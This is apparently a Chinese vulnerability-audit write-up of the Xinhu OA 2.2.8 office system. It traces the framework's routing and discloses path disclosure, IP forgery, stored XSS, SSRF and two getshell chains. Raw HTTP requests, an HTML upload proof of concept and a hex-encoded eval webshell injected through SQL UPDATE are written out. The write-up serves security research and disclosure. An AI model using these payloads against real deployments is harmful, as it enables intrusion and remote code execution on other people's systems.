通讀審計之信呼OA
0x01 前言
信呼OA是一款自主MVC的辦公系統,官網:http://www.rockoa.com/
由于它的模型,控制器,視圖的路由寫法與其他自主MVC框架的CMS不太相同,挖掘出來的某些0day漏洞需要腦洞,簡單來說“特別有趣”,那么筆者在此記載它的漏洞詳情。
本次通讀為信呼OA的2.2.8最新版本,如圖:

0x02 路由結構的了解
整個故事從index.php開始說起,如圖:

第八行包含了config/config.php文件,我們跟進,如圖:

可以看到rockFun.php文件只是定義了一系列方法,Chajian.php文件則是定義了Chajian類,rockClass.php文件定義了rockClass類文件,在config.php的第17行中調用了 new rockClass,我們看一下rockClass類的__construct方法,如圖:

在rockClass類的構造方法中,我們可以看到,該類的成員屬性幾乎都是對用戶的訪問信息進行記載,這里我們最需要關注的就是第31行的getclientip成員方法,該方法存在ip偽造,這一點可能在我們后期審計時,審計出ip偽造所造成的漏洞,雖然被htmlspecialchars方法所過濾,但是我們要知道的是,htmlspecialchars是不會過濾單引號的。
那么我們回到config.php文件繼續往下通讀。

在圖中,藍色邊框所標記的代碼塊為過濾代碼塊。
仔細一看過濾是沒有什么問題,簡單翻譯下來就是,將傳遞過來的$_GET[p]中的單引號實體化,將%20刪除(這里需要注意,在url傳輸時,%20已經被解析為空格,所以這里不會過濾空格),如果鍵值在以下數組中:
array('m','a','p','d','ip','web','host','ajaxbool','token','adminid')
那么將經過xssrepstr方法處理,最終返回reteistrs方法的結果,reteistrs方法的主要內容是將“/*”以及“*/”字符進行遞歸刪除處理。
絕對路徑泄露:
最直接的問題來自于圖中黃色邊框所標記的$this->jm->base64decode($s);代碼塊,此時我們的jm成員屬性并沒有被初始化,當前值為NULL,如果直接調用base64decode,那么PHP會直接拋出錯誤。
傳遞“?p=basejm_”,如圖:

這里會直接暴露出目標的絕對路徑。
那么get方法的封裝我們就了解到這里,我們繼續往下通讀,如圖:

在58行中,我們可以看到調用了rock對象的strformat方法,該方法的封裝非常類似于python的format方法。隨后包含了“WEB根目錄/webmain/webmainConfig.php”文件,該文件為配置文件,將該文件的數組結構依次傳遞給$config變量。
黑名單IP繞過:
繼續往下通讀:

但其實這里的ip封殺模塊,是可以通過client-ip進行偽造的,這里也是功能模塊出現的問題,那么我們把目光放到最后一行的$rock->initRock();方法,如圖:

可以看到,之前我們所說的絕對路徑泄露問題,在這里才進行初始化jm成員屬性,那么這里jm對象的很多方法筆者在后面會進行介紹。
那么config.php文件就這樣的讀完了,我們回到index.php中繼續通讀,如圖:

這里我們可以看到,從外部接收$m,$d,$a,與$ajaxbool。這些變量就深深聯系上了后期代碼塊的MVC關系。
那么我們把目光放到最后一行的
include_once('include/View.php');
Include/View.php文件如圖:

這里主要關注$actfile,如圖:

再往下則是該CMS自寫的模板解析功能,如圖:

至此,我們已經了解框架運行原理,下面我們定義一個自己的控制器。
定義目錄/文件結構如下:

訪問url:“?d=test&m=heihu577&a=tester”如圖:

在梳理好控制器的訪問規則以及模板文件的位置之后,我們便可以開始挖掘漏洞。
0x03 漏洞信息
前臺存儲型XSS漏洞
其實這個點還是遺憾又有趣的,有趣點在于它是由多個小問題而引發出來的大問題,遺憾點是因為一處過濾讓它原本可以進行前臺SQL注入的現在只可以進行XSS攻擊。我們看一下漏洞情況如下:
在管理員登錄界面,單機“登錄”按鈕后我們可以看到url所訪問的php文件,如圖:

定位到\webmain\login\loginAction.php文件,如圖:

跟進ActionNot類,如圖:

可以看到,ActionNot類將大多數xxxAjax方法覆蓋為空了,在筆者仔細的檢查下,還剩下getoptionAjax方法沒有被重寫,我們看一下getoptionAjax方法的邏輯。如圖:

跟進getdata方法,如圖:

可以看到,getpids方法中調用了getmou方法,這里$num由于是get方法傳遞過來的,雖然經過了層層過濾,但是在那幾層過濾中,是沒有過濾反斜杠(\)的。
這里我們跟進getmou方法,如圖:

當num最后一位為反斜杠時,SQL語句變為,select xxx from xxx where abc=’\’,至此SQL語句出現問題,從而拋出異常,觸發debug的addlogs方法,在該cms中,debug是默認被開啟的,我們跟進addlogs方法,如圖:

注意到第七行的記錄IP,我們之前知道,IP是可以被偽造的,雖然過濾了空格,但是我們可以使用tab鍵來進行繞過。這里最大的痛點就是將圓括號給過濾掉了,導致我們無法進行sql注入,我們跟進insert方法,如圖:

至此,我們可以在log表中插入xss代碼,當管理員查看“日志管理”功能時,觸發xss,發送HTTP請求:
POST /?m=login&a=getoption&ajaxbool=true&num=aaaa\ HTTP/1.1Host: www.rockcms.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeClient-ip:111',web= [XSS代碼的hex編碼]+[(tab鍵)--(tab鍵)]Upgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 0
如圖:

在后臺管理員的“日志查看”處進行觸發XSS:

XSS平臺收信:

后臺文件上傳getshell
往深來講,這個點不能說是文件上傳getshell,而是修改文件名getshell。
文件上傳接口:\webmain\task\api\uploadAction.php,如圖:

我們可以看到,該接口過濾很死,不存在上傳漏洞。
但是在 \webmain\task\runt\qcloudCosAction.php文件的runAction方法中,如圖:

從數據庫中獲取fileext,那么上傳php文件的ext也就是php,我們可以先上傳php文件后再進行修改文件名,如圖(數據庫):

隨后進入createtxt函數:

寫入PHP文件。
編寫上傳文件POC:
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Documenttitle>head><body><form action="http://題目/api.php?m=upload&a=upfile&adminid=&device=1625923765752&cfrom=mweb&token=&sysmodenum=officia&sysmid=0&maxsize=2" method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit">form>body>html>
上傳php文件成功后,我們獲取頁面返回的id,如圖:

隨后訪問:http://域名/task.php?m=qcloudCos|runt&a=run&fileid=剛剛的ID
即可生成php文件,如圖:

Phpinfo:

后臺配置文件getshell
為什么有了后臺文件上傳,筆者還在這里寫一種配置文件getshell呢?
其實這個配置文件點非常有趣,它是與sql注入update類型的組合拳才可以進行完成,所以筆者在此分享這個小小的姿勢。
在\webmain\system\geren\gerenAction.php文件中,我們可以看到這樣一串代碼:

很明顯的一處注入漏洞,由于它所操作的是admin表,所以這個點非常有趣。我們再看一下\webmain\system\cog\cogAction.php文件的一些代碼,如圖:

這里的adminname成員屬性,則對應了admin表中的name字段,如圖:

這里雖然使用了//注釋,但是//注釋只是單行注釋,并不是多行,導致我們使用換行符就可以進行配置文件getshell了,那么我們可以通過update注入點,來修改數據庫中的name值,來進行配置文件getshell。
操作步驟如下:
登錄系統 --> 發包:
/index.php?a=changestyle&m=geren&d=system&ajaxbool=true&style=21,id=1,name=0x610A6576616C28245F504F53545B315D293B2F2F
如圖:

清除COOKIES再登錄系統 --> 發包:
/index.php?a=savecong&m=cog&d=system&ajaxbool=true&rnd=70596
如圖:

配置文件成功插入一句話馬,如圖:

后臺SSRF漏洞
在\webmain\main\xinhu\xinhuAction.php文件中,觀察如下代碼:

跟進getcurl方法,如圖:

赤裸裸的SSRF,在\webmain\main\xinhu\xinhuAction.php文件的setsaveAjax方法中,可以設置地址,如圖:

設置url地址包:
POST /index.php?a=setsave&m=xinhu&d=main&ajaxbool=true HTTP/1.1Host: www.rockcms.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=kb05c6pclv3c86adkameji5n00; deviceid=1629988220572; xinhu_mo_adminid=jj0amm0tt0amm0jl0lj0jl0aau0jj0amm0jf0ol02; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0Upgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 25 host=http://www.baidu.com/
攻擊payload:
http://www.rockcms.cn/index.php?a=testsends&m=xinhu&d=main&ajaxbool=true
如圖:

0x04 尾巴
文中記載了筆者挖掘出有趣的漏洞,什么?你問我別的漏洞在哪?去記事本挖!